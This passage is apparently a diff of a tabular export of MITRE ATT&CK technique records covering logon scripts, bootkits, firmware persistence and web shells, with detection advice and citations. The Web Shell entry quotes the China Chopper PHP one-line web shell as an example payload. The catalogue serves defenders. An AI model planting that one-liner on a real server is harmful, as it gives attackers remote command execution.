7, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/cc772408.aspx'}, {'source_name': 'AppleDocs Launch Agent Daemons', 'description': 'Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.', 'url': 'https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'}, {'source_name': 'OSX Malware Detection', 'description': ""Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017."", 'url': 'https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Service: Service Creation', 'Service: Service Modification', 'Process: Process Creation', 'Process: OS API Execution', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'File: File Modification']",,"Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. Command-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. -Monitor for changes to files associated with system-level processes.",,,,,False,,,,"['Windows', 'macOS', 'Linux']",,,,1.0 -2020-01-10 16:01:15.995000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use macOS logon scripts automatically executed at logon initialization to establish persistence. macOS allows logon scripts (known as login hooks) to be executed whenever a specific user logs into a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike [Startup Items](https://attack.mitre.org/techniques/T1037/005), a login hook executes as the elevated root user.(Citation: creating login hook) +Monitor for changes to files associated with system-level processes.",False,,"['Windows', 'macOS', 'Linux']",1.0,,,,,,, +attack-pattern,attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-10T16:01:15.995Z,2020-03-27T16:49:15.786Z,Logon Script (Mac),"Adversaries may use macOS logon scripts automatically executed at logon initialization to establish persistence. macOS allows logon scripts (known as login hooks) to be executed whenever a specific user logs into a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike [Startup Items](https://attack.mitre.org/techniques/T1037/005), a login hook executes as the elevated root user.(Citation: creating login hook) -Adversaries may use these login hooks to maintain persistence on a single system.(Citation: S1 macOs Persistence) Access to login hook scripts may allow an adversary to insert additional malicious code. There can only be one login hook at a time though and depending on the access configuration of the hooks, either local credentials or an administrator account may be necessary. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1037/002', external_id='T1037.002'), ExternalReference(source_name='creating login hook', description='Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved July 17, 2017.', url='https://support.apple.com/de-at/HT2420'), ExternalReference(source_name='S1 macOs Persistence', description='Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020.', url='https://www.sentinelone.com/blog/how-malware-persists-on-macos/')]",attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-03-27 16:49:15.786000+00:00,Logon Script (Mac),['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution']",,,,,Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.,,,,,True,,,,['macOS'],,,,1.0 -2020-01-10 03:43:37.211000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the HKCU\Environment\UserInitMprLogonScript Registry key.(Citation: Hexacorn Logon Scripts) +Adversaries may use these login hooks to maintain persistence on a single system.(Citation: S1 macOs Persistence) Access to login hook scripts may allow an adversary to insert additional malicious code. There can only be one login hook at a time though and depending on the access configuration of the hooks, either local credentials or an administrator account may be necessary. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1037/002', 'external_id': 'T1037.002'}, {'source_name': 'creating login hook', 'description': 'Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved July 17, 2017.', 'url': 'https://support.apple.com/de-at/HT2420'}, {'source_name': 'S1 macOs Persistence', 'description': 'Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020.', 'url': 'https://www.sentinelone.com/blog/how-malware-persists-on-macos/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution']",,Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.,True,,['macOS'],1.0,,,,,,, +attack-pattern,attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-10T03:43:37.211Z,2020-03-24T23:45:03.153Z,Logon Script (Windows),"Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the HKCU\Environment\UserInitMprLogonScript Registry key.(Citation: Hexacorn Logon Scripts) -Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1037/001', external_id='T1037.001'), ExternalReference(source_name='TechNet Logon Scripts', description='Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016.', url='https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx'), ExternalReference(source_name='Hexacorn Logon Scripts', description='Hexacorn. (2014, November 14). Beyond good ol’ Run key, Part 18. Retrieved November 15, 2019.', url='http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/')]",attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-03-24 23:45:03.153000+00:00,Logon Script (Windows),['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Windows Registry: Windows Registry Key Creation', 'Process: Process Creation', 'Command: Command Execution']",,,,,"Monitor for changes to Registry values associated with Windows logon scrips, nameley HKCU\Environment\UserInitMprLogonScript. +Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1037/001', 'external_id': 'T1037.001'}, {'source_name': 'TechNet Logon Scripts', 'description': 'Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx'}, {'source_name': 'Hexacorn Logon Scripts', 'description': 'Hexacorn. (2014, November 14). Beyond good ol’ Run key, Part 18. Retrieved November 15, 2019.', 'url': 'http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Windows Registry: Windows Registry Key Creation', 'Process: Process Creation', 'Command: Command Execution']",,"Monitor for changes to Registry values associated with Windows logon scrips, nameley HKCU\Environment\UserInitMprLogonScript. -Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.",,,,,True,,,,['Windows'],,,,1.0 -2019-12-19 21:05:38.123000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly. +Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.",True,,['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-12-19T21:05:38.123Z,2020-09-17T19:47:14.338Z,Bootkit,"Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly. A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011) -The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1542/003', external_id='T1542.003'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/552.html', external_id='CAPEC-552'), ExternalReference(source_name='Mandiant M Trends 2016', description='Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019.', url='https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf'), ExternalReference(source_name='Lau 2011', description='Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.', url='http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion')]",attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-09-17 19:47:14.338000+00:00,Bootkit,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['Drive: Drive Modification'],"['Host intrusion prevention systems', 'Anti-virus', 'File monitoring']",,,,Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.,,,,,True,,,"['Administrator', 'SYSTEM']","['Linux', 'Windows']",,,,1.1 -2019-12-19 20:21:21.669000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking. +The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1542/003', 'external_id': 'T1542.003'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/552.html', 'external_id': 'CAPEC-552'}, {'source_name': 'Mandiant M Trends 2016', 'description': 'Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf'}, {'source_name': 'Lau 2011', 'description': 'Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.', 'url': 'http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Drive: Drive Modification'],"['Host intrusion prevention systems', 'Anti-virus', 'File monitoring']",Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.,True,"['Administrator', 'SYSTEM']","['Linux', 'Windows']",1.1,,,,,,, +attack-pattern,attack-pattern--791481f8-e96a-41be-b089-a088763083d4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-12-19T20:21:21.669Z,2020-03-23T23:48:33.904Z,Component Firmware,"Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking. -Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1542/002', external_id='T1542.002'), ExternalReference(source_name='SanDisk SMART', description='SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018.'), ExternalReference(source_name='SmartMontools', description='smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.', url='https://www.smartmontools.org/'), ExternalReference(source_name='ITWorld Hard Disk Health Dec 2014', description=""Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018."", url='https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html')]",attack-pattern--791481f8-e96a-41be-b089-a088763083d4,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-03-23 23:48:33.904000+00:00,Component Firmware,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Driver: Driver Metadata', 'Firmware: Firmware Modification', 'Process: OS API Execution']","['Anti-virus', 'Host intrusion prevention systems', 'File monitoring']",,,,"Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms. +Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1542/002', 'external_id': 'T1542.002'}, {'source_name': 'SanDisk SMART', 'description': 'SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018.'}, {'source_name': 'SmartMontools', 'description': 'smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.', 'url': 'https://www.smartmontools.org/'}, {'source_name': 'ITWorld Hard Disk Health Dec 2014', 'description': ""Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018."", 'url': 'https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Driver: Driver Metadata', 'Firmware: Firmware Modification', 'Process: OS API Execution']","['Anti-virus', 'Host intrusion prevention systems', 'File monitoring']","Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms. -Disk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images.",,,,,True,,,['SYSTEM'],['Windows'],,['Ability to update component device firmware from the host operating system.'],,1.0 -2019-12-19 19:43:34.507000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI) +Disk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images.",True,['SYSTEM'],['Windows'],1.0,,['Ability to update component device firmware from the host operating system.'],,,,, +attack-pattern,attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-12-19T19:43:34.507Z,2020-05-19T21:22:37.865Z,System Firmware,"Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI) -System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1542/001', external_id='T1542.001'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/532.html', external_id='CAPEC-532'), ExternalReference(source_name='Wikipedia BIOS', description='Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.', url='https://en.wikipedia.org/wiki/BIOS'), ExternalReference(source_name='Wikipedia UEFI', description='Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.', url='https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface'), ExternalReference(source_name='About UEFI', description='UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.', url='http://www.uefi.org/about'), ExternalReference(source_name='MITRE Trustworthy Firmware Measurement', description='Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.', url='http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research'), ExternalReference(source_name='MITRE Copernicus', description='Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.', url='http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about'), ExternalReference(source_name='McAfee CHIPSEC Blog', description='Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.', url='https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/'), ExternalReference(source_name='Github CHIPSEC', description='Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.', url='https://github.com/chipsec/chipsec'), ExternalReference(source_name='Intel HackingTeam UEFI Rootkit', description=""Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017."", url='http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html')]",attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-05-19 21:22:37.865000+00:00,System Firmware,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Jean-Ian Boutin, ESET', 'McAfee', 'Ryan Becwar']",['Firmware: Firmware Modification'],"['Host intrusion prevention systems', 'Anti-virus', 'File monitoring']",,,,"System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior. +System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1542/001', 'external_id': 'T1542.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/532.html', 'external_id': 'CAPEC-532'}, {'source_name': 'Wikipedia BIOS', 'description': 'Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.', 'url': 'https://en.wikipedia.org/wiki/BIOS'}, {'source_name': 'Wikipedia UEFI', 'description': 'Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.', 'url': 'https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface'}, {'source_name': 'About UEFI', 'description': 'UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.', 'url': 'http://www.uefi.org/about'}, {'source_name': 'MITRE Trustworthy Firmware Measurement', 'description': 'Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.', 'url': 'http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research'}, {'source_name': 'MITRE Copernicus', 'description': 'Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.', 'url': 'http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about'}, {'source_name': 'McAfee CHIPSEC Blog', 'description': 'Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.', 'url': 'https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/'}, {'source_name': 'Github CHIPSEC', 'description': 'Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.', 'url': 'https://github.com/chipsec/chipsec'}, {'source_name': 'Intel HackingTeam UEFI Rootkit', 'description': ""Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017."", 'url': 'http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jean-Ian Boutin, ESET', 'McAfee', 'Ryan Becwar']",['Firmware: Firmware Modification'],"['Host intrusion prevention systems', 'Anti-virus', 'File monitoring']","System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior. -Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)",,,,,True,,,"['Administrator', 'SYSTEM']",['Windows'],,,,1.0 -2019-12-13 16:46:18.927000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. +Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)",True,"['Administrator', 'SYSTEM']",['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-12-13T16:46:18.927Z,2021-07-26T13:46:47.993Z,Web Shell,"Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. -In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (ex: [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013) ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1505/003', external_id='T1505.003'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/650.html', external_id='CAPEC-650'), ExternalReference(source_name='Lee 2013', description='Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.', url='https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html'), ExternalReference(source_name='US-CERT Alert TA15-314A Web Shells', description='US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.', url='https://www.us-cert.gov/ncas/alerts/TA15-314A')]",attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-09-16 19:34:19.752000+00:00,Web Shell,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content']",,,,,"Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) +In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (ex: [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013) ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1505/003', 'external_id': 'T1505.003'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/650.html', 'external_id': 'CAPEC-650'}, {'source_name': 'Lee 2013', 'description': 'Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.', 'url': 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html'}, {'source_name': 'NSA Cyber Mitigating Web Shells', 'description': ' NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells. Retrieved July 22, 2021.', 'url': 'https://github.com/nsacyber/Mitigating-Web-Shells'}, {'source_name': 'US-CERT Alert TA15-314A Web Shells', 'description': 'US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA15-314A'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Arnim Rupp, Deutsche Lufthansa AG']","['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content']",,"Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) <?php @eval($_POST['password']);> -Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running cmd.exe or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) ",,,,,True,,,"['SYSTEM', 'User']","['Linux', 'Windows', 'macOS']",,['Adversary access to Web server with vulnerability or account to upload and serve the Web shell file.'],,1.1 -2019-12-12 15:08:20.972000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. +Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells) + +File monitoring may be used to detect changes to files in the Web 